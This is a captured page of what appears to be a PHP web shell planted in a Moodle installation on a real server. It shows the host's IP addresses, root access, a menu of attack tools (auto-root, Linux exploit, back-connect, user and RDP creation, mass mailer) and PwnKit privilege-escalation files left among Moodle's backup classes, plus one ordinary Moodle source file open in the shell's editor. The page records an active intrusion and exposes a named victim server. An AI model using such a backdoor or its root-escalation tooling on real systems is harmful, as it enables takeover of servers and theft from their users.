Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
backup /
moodle2 /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
backup_activity_task.class.php
15.05
KB
-rwxrwxrwx
backup_block_task.class.php
7.88
KB
-rwxrwxrwx
backup_course_task.class.php
8.42
KB
-rwxrwxrwx
backup_coursereport_plugin.cla...
1.31
KB
-rwxrwxrwx
backup_custom_fields.php
11.15
KB
-rwxrwxrwx
backup_default_block_task.clas...
1.65
KB
-rwxrwxrwx
backup_enrol_plugin.class.php
1.26
KB
-rwxrwxrwx
backup_final_task.class.php
8.26
KB
-rwxrwxrwx
backup_format_plugin.class.php
1.81
KB
-rwxrwxrwx
backup_gradingform_plugin.clas...
1.35
KB
-rwxrwxrwx
backup_local_plugin.class.php
1.16
KB
-rwxrwxrwx
backup_plagiarism_plugin.class...
1.65
KB
-rwxrwxrwx
backup_plan_builder.class.php
7.95
KB
-rwxrwxrwx
backup_plugin.class.php
3.86
KB
-rwxrwxrwx
backup_qtype_extrafields_plugi...
3.29
KB
-rwxrwxrwx
backup_qtype_plugin.class.php
8.02
KB
-rwxrwxrwx
backup_report_plugin.class.php
1.27
KB
-rwxrwxrwx
backup_root_task.class.php
9.17
KB
-rwxrwxrwx
backup_section_task.class.php
6.33
KB
-rwxrwxrwx
backup_settingslib.php
6.98
KB
-rwxrwxrwx
backup_stepslib.php
107.9
KB
-rwxrwxrwx
backup_subplugin.class.php
3.57
KB
-rwxrwxrwx
backup_theme_plugin.class.php
3
KB
-rwxrwxrwx
backup_tool_plugin.class.php
1.24
KB
-rwxrwxrwx
backup_xml_transformer.class.p...
8.82
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
restore_activity_task.class.ph...
13.7
KB
-rwxrwxrwx
restore_block_task.class.php
6.79
KB
-rwxrwxrwx
restore_course_task.class.php
10.72
KB
-rwxrwxrwx
restore_coursereport_plugin.cl...
1.05
KB
-rwxrwxrwx
restore_default_block_task.cla...
1.7
KB
-rwxrwxrwx
restore_enrol_plugin.class.php
1.26
KB
-rwxrwxrwx
restore_final_task.class.php
10.23
KB
-rwxrwxrwx
restore_format_plugin.class.ph...
1.29
KB
-rwxrwxrwx
restore_gradingform_plugin.cla...
1.7
KB
-rwxrwxrwx
restore_local_plugin.class.php
1.16
KB
-rwxrwxrwx
restore_plagiarism_plugin.clas...
1.82
KB
-rwxrwxrwx
restore_plan_builder.class.php
9.35
KB
-rwxrwxrwx
restore_plugin.class.php
10.74
KB
-rwxrwxrwx
restore_qtype_extrafields_plug...
4.3
KB
-rwxrwxrwx
restore_qtype_plugin.class.php
16.3
KB
-rwxrwxrwx
restore_report_plugin.class.ph...
1.02
KB
-rwxrwxrwx
restore_root_task.class.php
15.39
KB
-rwxrwxrwx
restore_section_task.class.php
7.31
KB
-rwxrwxrwx
restore_settingslib.php
8.05
KB
-rwxrwxrwx
restore_stepslib.php
244.48
KB
-rwxrwxrwx
restore_subplugin.class.php
7.92
KB
-rwxrwxrwx
restore_theme_plugin.class.php
1.04
KB
-rwxrwxrwx
restore_tool_plugin.class.php
1.24
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backup_qtype_plugin.class.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Defines backup_qtype_plugin class * * @package core_backup * @subpackage moodle2 * @category backup * @copyright 2010 onwards Eloy Lafuente (stronk7) {@link http://stronk7.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Class extending standard backup_plugin in order to implement some * helper methods related with the questions (qtype plugin) * * TODO: Finish phpdocs */ abstract class backup_qtype_plugin extends backup_plugin { /** * Attach to $element (usually questions) the needed backup structures * for question_answers for a given question * Used by various qtypes (calculated, essay, multianswer, * multichoice, numerical, shortanswer, truefalse) */ protected function add_question_question_answers($element) { // Check $element is one nested_backup_element if (! $element instanceof backup_nested_element) { throw new backup_step_exception('question_answers_bad_parent_element', $element); } // Define the elements $answers = new backup_nested_element('answers'); $answer = new backup_nested_element('answer', array('id'), array( 'answertext', 'answerformat', 'fraction', 'feedback', 'feedbackformat')); // Build the tree $element->add_child($answers); $answers->add_child($answer); // Set the sources $answer->set_source_table('question_answers', array('question' => backup::VAR_PARENTID), 'id ASC'); // Aliases $answer->set_source_alias('answer', 'answertext'); // don't need to annotate ids nor files } /** * Attach to $element (usually questions) the needed backup structures * for question_numerical_units for a given question * Used both by calculated and numerical qtypes */ protected function add_question_numerical_units($element) { // Check $element is one nested_backup_element if (! $element instanceof backup_nested_element) { throw new backup_step_exception('question_numerical_units_bad_parent_element', $element); } // Define the elements $units = new backup_nested_element('numerical_units'); $unit = new backup_nested_element('numerical_unit', array('id'), array( 'multiplier', 'unit')); // Build the tree $element->add_child($units); $units->add_child($unit); // Set the sources $unit->set_source_table('question_numerical_units', array('question' => backup::VAR_PARENTID), 'id ASC'); // don't need to annotate ids nor files } /** * Attach to $element (usually questions) the needed backup structures * for question_numerical_options for a given question * Used both by calculated and numerical qtypes */ protected function add_question_numerical_options($element) { // Check $element is one nested_backup_element if (! $element instanceof backup_nested_element) { throw new backup_step_exception('question_numerical_options_bad_parent_element', $element); } // Define the elements $options = new backup_nested_element('numerical_options'); $option = new backup_nested_element('numerical_option', array('id'), array( 'showunits', 'unitsleft', 'unitgradingtype', 'unitpenalty')); // Build the tree $element->add_child($options); $options->add_child($option); // Set the sources $option->set_source_table('question_numerical_options', array('question' => backup::VAR_PARENTID)); // don't need to annotate ids nor files } /** * Attach to $element (usually questions) the needed backup structures * for question_datasets for a given question * Used by calculated qtypes */ protected function add_question_datasets($element) { // Check $element is one nested_backup_element if (! $element instanceof backup_nested_element) { throw new backup_step_exception('question_datasets_bad_parent_element', $element); } // Define the elements $definitions = new backup_nested_element('dataset_definitions'); $definition = new backup_nested_element('dataset_definition', array('id'), array( 'category', 'name', 'type', 'options', 'itemcount')); $items = new backup_nested_element('dataset_items'); $item = new backup_nested_element('dataset_item', array('id'), array( 'number', 'value')); // Build the tree $element->add_child($definitions); $definitions->add_child($definition); $definition->add_child($items); $items->add_child($item); // Set the sources $definition->set_source_sql('SELECT qdd.* FROM {question_dataset_definitions} qdd JOIN {question_datasets} qd ON qd.datasetdefinition = qdd.id WHERE qd.question = ?', array(backup::VAR_PARENTID)); $item->set_source_table('question_dataset_items', array('definition' => backup::VAR_PARENTID)); // Aliases $item->set_source_alias('itemnumber', 'number'); // don't need to annotate ids nor files } /** * Returns all the components and fileareas used by all the installed qtypes * * The method introspects each qtype, asking it about fileareas used. Then, * one 2-level array is returned. 1st level is the component name (qtype_xxxx) * and 2nd level is one array of filearea => mappings to look * * Note that this function is used both in backup and restore, so it is important * to use the same mapping names (usually, name of the table in singular) always * * TODO: Surely this can be promoted to backup_plugin easily and make it to * work for ANY plugin, not only qtypes (but we don't need it for now) */ public static function get_components_and_fileareas($filter = null) { $components = array(); // Get all the plugins of this type $qtypes = core_component::get_plugin_list('qtype'); foreach ($qtypes as $name => $path) { // Apply filter if specified if (!is_null($filter) && $filter != $name) { continue; } // Calculate the componentname $componentname = 'qtype_' . $name; // Get the plugin fileareas (all them MUST belong to the same component) $classname = 'backup_qtype_' . $name . '_plugin'; if (class_exists($classname)) { $elements = call_user_func(array($classname, 'get_qtype_fileareas')); if ($elements) { // If there are elements, add them to $components $components[$componentname] = $elements; } } } return $components; } /** * Returns one array with filearea => mappingname elements for the qtype * * Used by {@link get_components_and_fileareas} to know about all the qtype * files to be processed both in backup and restore. */ public static function get_qtype_fileareas() { // By default, return empty array, only qtypes having own fileareas will override this return array(); } }
Close